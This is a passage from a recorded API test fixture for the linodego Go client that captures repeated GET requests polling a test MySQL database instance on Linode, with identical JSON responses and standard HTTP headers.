X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, 